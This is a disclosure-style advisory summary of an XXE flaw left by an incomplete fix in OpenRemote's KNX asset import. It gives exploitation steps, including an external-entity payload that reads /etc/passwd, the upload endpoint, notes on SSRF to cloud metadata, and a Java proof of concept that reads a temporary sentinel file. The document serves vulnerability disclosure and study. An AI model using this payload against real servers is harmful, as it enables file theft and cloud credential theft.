# OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory

Incomplete fix for CVE-2026-40882 left KNXProtocol's ETS ZIP import parsing 0.xml via unprotected Saxon and XMLInputFactory, letting any authenticated user read server files via XXE.

- Payout: Research
- Severity: high
- Program: OpenRemote
- Found by: dyingman1
- Disclosed: 2026-07-06
- CVE: CVE-2026-54640
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7v6w-c3f4-9wpq
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7v6w-c3f4-9wpq
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:xxe

**Target:** KNX asset import endpoint (ETS project ZIP, 0.xml) in openremote-agent
**Root cause:** The CVE-2026-40882 patch added XXE-blocking features only to AbstractVelbusProtocol's DocumentBuilderFactory; KNXProtocol.startAssetImport still feeds user-controlled 0.xml into Saxon TransformerFactoryImpl and XMLInputFactory.newInstance() with no DTD/external-entity restrictions.
**Steps:**
1. Authenticate to the Manager API with any regular realm account.
2. Craft an ETS project ZIP whose 0.xml contains `<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` and `&xxe;` in a data element.
3. POST the ZIP to `/api/{realm}/agent/{agentId}/import`.
4. KNXProtocol.startAssetImport extracts 0.xml and passes it to Saxon transform (line 233-245) and XMLInputFactory.createXMLStreamReader (line 249).
5. External entity resolves; file contents appear in the transformed/parsed output returned to the caller.
**How found:** Compared the CVE-2026-40882 patch (secure DocumentBuilderFactory in AbstractVelbusProtocol) against the parallel KNX asset import handler and noticed the same user-controlled XML path lacked any XXE hardening.
**Exploitation:** Any authenticated user uploads a malicious ETS ZIP to the agent import endpoint; the unprotected Saxon XSLT transform and StAX reader resolve the external entity, returning local file contents (e.g. /etc/passwd, config files with credentials) and enabling SSRF to metadata endpoints like 169.254.169.254.
**Escalation:** File read of application configs/cloud credentials and SSRF to internal metadata services raises impact from info disclosure toward cloud credential theft.
**Insight:** When a patch hardens one parser in a multi-protocol import framework, enumerate every sibling protocol handler that ingests the same user-controlled file format — incomplete fixes cluster around parallel code paths.

## Proof of concept (copied exactly from the original report)

**Exploit.java XXE proof-of-concept**

```
import net.sf.saxon.TransformerFactoryImpl;
import javax.xml.stream.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import java.io.*;
import java.nio.file.*;

public class Exploit {
    public static void main(String[] args) throws Exception {

        // Sentinel file — proves arbitrary file read
        Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt");
        String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis();
        Files.writeString(sentinel, tag);

        String maliciousXml =
            "<?xml version=\"1.0\"?>\n" +
            "<!DOCTYPE root [\n" +
            "  <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" +
            "]>\n" +
            "<root><data>&xxe;</data></root>";

        // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config)
        XMLInputFactory factory = XMLInputFactory.newInstance();
        XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));
        StringBuilder sb = new StringBuilder();
        while (reader.hasNext()) {
            int e = reader.next();
            if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());
        }
        System.out.println("Stage A result: " + sb.toString().trim());

        // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)
        String xsl = "<?xml version=\"1.0\"?>" +
            "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" +
            "<xsl:output method=\"text\"/>" +
            "<xsl:template match=\"/\"><xsl:value-of select=\"root/data\"/></xsl:template>" +
            "</xsl:stylesheet>";
        TransformerFactory tf = new TransformerFactoryImpl();
        StringWriter writer = new StringWriter();
        tf.newTransformer(new StreamSource(new StringReader(xsl)))
          .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));
        System.out.println("Stage B result: " + writer.toString().trim());

        Files.deleteIfExists(sentinel);
    }
}
```

**Build and run commands**

```
mvn clean package -q
java -jar target/openremote-xxe-1.0.jar
```

